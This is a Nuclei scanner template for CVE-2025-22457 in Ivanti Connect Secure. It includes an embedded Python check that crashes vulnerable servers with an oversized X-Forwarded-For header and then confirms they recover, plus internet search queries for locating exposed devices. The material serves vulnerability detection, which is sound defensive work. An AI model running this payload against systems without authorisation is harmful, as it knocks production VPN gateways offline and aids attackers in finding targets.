id: CVE-2025-22457

info:
  name: Ivanti Connect Secure - Stack-based Buffer Overflow
  author: s4e-io,pussycat0x
  severity: critical
  description: |
    Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
    and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
    improper input handling, allowing remote attackers to execute arbitrary code without authentication.
  impact: |
    Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
  remediation: |
    Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
  reference:
    - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
    - https://www.cvedetails.com/cve/CVE-2025-22457
    - https://github.com/securekomodo/CVE-2025-22457
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
    epss-score: 0.58941
    epss-percentile: 0.9825
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
    product: connect_secure
    shodan-query: http.title:"ivanti connect secure"
    fofa-query: title="ivanti connect secure"
    zoomeye-query: title:"ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln

variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

flow: http(1) && code(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
          - 'status_code == 200'
        condition: and

code:
  - engine:
      - py
      - python3

    source: |
      import os
      import time
      import requests
      import re

      requests.packages.urllib3.disable_warnings()

      PATHS = [
          "/dana-na/auth/url_default/welcome.cgi",
          "/dana-na/setup/psaldownload.cgi",
      ]

      IVANTI_MARKERS = [
          "Ivanti Connect Secure",
          "Pulse Secure",
          "DSLaunchURL",
          "welcome.cgi",
          "dana-na",
      ]

      TIMEOUT_NORMAL = 5
      TIMEOUT_PAYLOAD = 10

      def safe_request(method, url, headers=None, timeout=5):
          try:
              if method == "GET":
                  return requests.get(url, headers=headers, timeout=timeout, verify=False)
              elif method == "POST":
                  return requests.post(url, headers=headers, timeout=timeout, verify=False)
          except requests.exceptions.RequestException:
              return None

      class IvantiExploit:
          def __init__(self, host, port):
              self.host = host.rstrip("/")
              self.port = port

          def build_url(self, path):
              host = self.host
              if not host.startswith("http://") and not host.startswith("https://"):
                  host = f"https://{host}"
              return f"{host}:{self.port}{path}"

          def is_ivanti(self, response_text):
              for marker in IVANTI_MARKERS:
                  if marker in response_text:
                      return True
              return False

          def check_vuln(self):
              for path in PATHS:
                  url = self.build_url(path)

                  # Step 1: Pre-check - must be reachable, return 200, and be Ivanti
                  r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
                  if not r1 or r1.status_code != 200:
                      continue

                  if not self.is_ivanti(r1.text):
                      print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
                      return False

                  print(f"Ivanti fingerprint confirmed on {url}")

                  # Step 2: Send crash payload - POST with oversized X-Forwarded-For
                  # A vulnerable server will CRASH (no response / timeout)
                  # A patched or non-vulnerable server will respond normally
                  payload_headers = {
                      "User-Agent": "Mozilla/5.0",
                      "X-Forwarded-For": "1" * 2048,
                  }
                  r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)

                  if r2 is not None:
                      # Server responded normally = NOT crashed = NOT vulnerable
                      print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
                      continue

                  # r2 is None = no response = potential crash
                  print("No response to payload (potential crash detected). Verifying...")

                  # Step 3: Follow-up check - server should recover and return 200
                  # Ivanti's web process auto-restarts after crash
                  time.sleep(2)
                  r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)

                  if r3 is not None and r3.status_code == 200:
                      print(f"VULNERABLE: {self.host}:{self.port}{path}")
                      return True
                  else:
                      status = r3.status_code if r3 else "no response"
                      print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
                      continue

              print("Target appears safe.")
              return False

      if __name__ == "__main__":
          host = os.getenv("Host")
          port = os.getenv("Port")
          IvantiExploit(host, port).check_vuln()

    matchers:
      - type: word
        words:
          - "VULNERABLE:"
# digest: 4b0a00483046022100f0ede916b4de4b58155be33291c96683db7eef02133ed590b3199bafb9d16294022100f50400085cf18265549707a46ac5a84f0abc380e85f9b3f8e6fb2fbbf577d46d:922c64590222798bb761d5b6d8e72950